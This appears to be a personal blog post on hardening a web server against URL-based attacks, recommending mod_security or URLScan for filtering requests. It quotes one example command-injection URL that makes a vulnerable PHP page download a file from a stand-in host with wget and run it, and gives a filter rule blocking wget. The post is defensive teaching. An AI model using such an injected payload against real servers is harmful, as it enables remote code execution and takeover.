Ok, so here’s the first in my “Getting better security” going posts. Let’s start off with fixing the Web Server.
Ok, to begin with, what’s the attack vector here? When we’re looking to block an attack, we really want to know where it’s coming from. Usually, you’d look in your logs and see what’s coming in and what’s the flavour of the month but also try to think about what is possible. So, that’s it: we’re looking at the logs and this means we’re thinking about what’s coming in via URL requests.
So, let’s start by thinking about how people attack you via the URL. When I want to pass something to a Web server I can use two methods (ok, I’m being generalistic but stick with me). GET and POST. Of these, most attacks are coming in from a GET.
So what’s the difference? If I go to www.someplace.com/login.php, I’m trying to GET. If when I fill my details in and hit enter, the URL at the above changes to something like www.someplace.com/logincheck.php?user=ok – that’s a GET. If the URl gives away no clues, we’re working with POST. POST sends the variables in something like the background as more traditional variables, whereas GET sends them out in the open, for the webserver to, well, “get”, from the URL. Obviously, GET is the easy target here. We can clearly see what’s going on and start to manipulate it. Strangely enough, it’s also far more common.
Now, PHP and ASP code, among others, handle both GET and POST and they’ve both recieved a lot of negative publicity because of the ease of which a lot of code written in either language is exploited. Let’s be clear that this is not really the languages’ fault – it’s the coders’ – but I digress. The point is we are thinking about a way to protect ourselves from people crafting URLs for negative reasons. Let’s have a look at some examples of what people can do.
In this example, someone tries to trick the web browser into allowing them to upload code:
http://www.someplace.com/phpcode.php?php_root_dir=/tmp;%20wget% –
20http://www.nastyplace.com/nastyfile;./tmp/nastyfile
Ok – so it’s over simplified but you get the idea. They try to change the directory, try to wget a file (for the record %20 = a space and the “;” indicates the same as pressing enter at a command prompt) and then they try to run that file. We can see a whole bunch of things we don’t want to allow right there and in normal circumstances, you’d rely on user permissions to prevent this from working. Your OS would say to the web server “sorry, you aren’t allowed to write to /tmp, get lost”. Of course, this also assumes that the php code is dumb enough to allow such a thing but the remarkable thing is a lot of the stuff people download out there is exactly dumb enough to allow this. phpBB & phpNuke, for example, which are in used across hundreds of thousands of sites.
What happens, though, if your web server can write to /tmp? In short? You’re in deep shit. Someone can upload code and execute it, which may be all they need to elevate permissions and get administrator / root control of your box. Ok – seems a little far fetched? Guess what – by default, if you’re running Windows 200x Server, IIS can indeed write to the most of the hard disk because the “everyone” group has permission. Also, on Linux (before you get too smug), Apache can write to /tmp or /var/tmp. So if it get’s this far, you’re now relying on your Kernel preventing elevation, or to put it another way, you’re now relying purely on patches and the hope that they’re up to date and cover the unknown. Good luck.
The obvious conclusion is this: don’t let people put bad code on your server. The solution to that, however, means you must comb through and test every single line of code on every web page and the fact is, you can’t. Even if you did, the client would probably just change the code later, so we need something else here. Something to stop the web server from even being subjected to these attacks.
Enter, pre-filtering requests. That is, we inspect the URL as a string, prior to processing it, and if it has something we don’t like, we don’t process it. There are two ways to do this: URLScan (IIS) or mod_security (Apache). In this article I won’t go into much detail on URLScan because it’s an “on or off” tool. You install it and it just blocks things Microsoft deem to be bad, in effect, it just blocks really long strings that are buffer overflow attemps. It’s good but it’s not great. It’s built into IIS6 but a downloadable add on for IIS5.
mod_security, on the other hand, is customisable. You have complete control over what it does (which is great of course only if you know how to use it
). So let’s view our attempt from above, where someone tries to use a few simple tools to do things on your server. Firstly and most obviously, wget. Why they hell would a legitimate website ever ‘wget’ anything? Chances are, it wouldn’t. Ok, let’s see how we block it.
Initially, I am going to say, you’ve already installed it. This is a Blog, not a howto, but if you go to http://www.modsecurity.org/index.php you’ll find all you need. Let me just say, it’s very easy. In anycase, once installed, I need two words to filter out wget – ‘SecFilter wget’. That’s it, the above attack will now fail. A few more simple lines gives you all the power of URScan (available at the above URL) and then you can customise it to your hearts content.
Before I go, you may recall (it’s been a long post) that there was also the problem of POST based attackes. They’re rarer but not impossible. The reason for this is the attack has to come from within another page, so someone has to go to the trouble of targetting you, not just a worm (although a worm could theoretically do this easily). So, how do we keep ourselves safe from attacks where we don’t have the luxury of seeing the URL before the webserver does? Fortunately, mod_security also has the ability to inspect POST commands as well as GET, so really, it’s no extra work!
Ok, that’s the start of a look at hacking a web server and preventing it. It goes without saying that you must keep your system patched and firewalled but this offers a little something extra. Hope you enjoyed it.
l8r,
Rodney.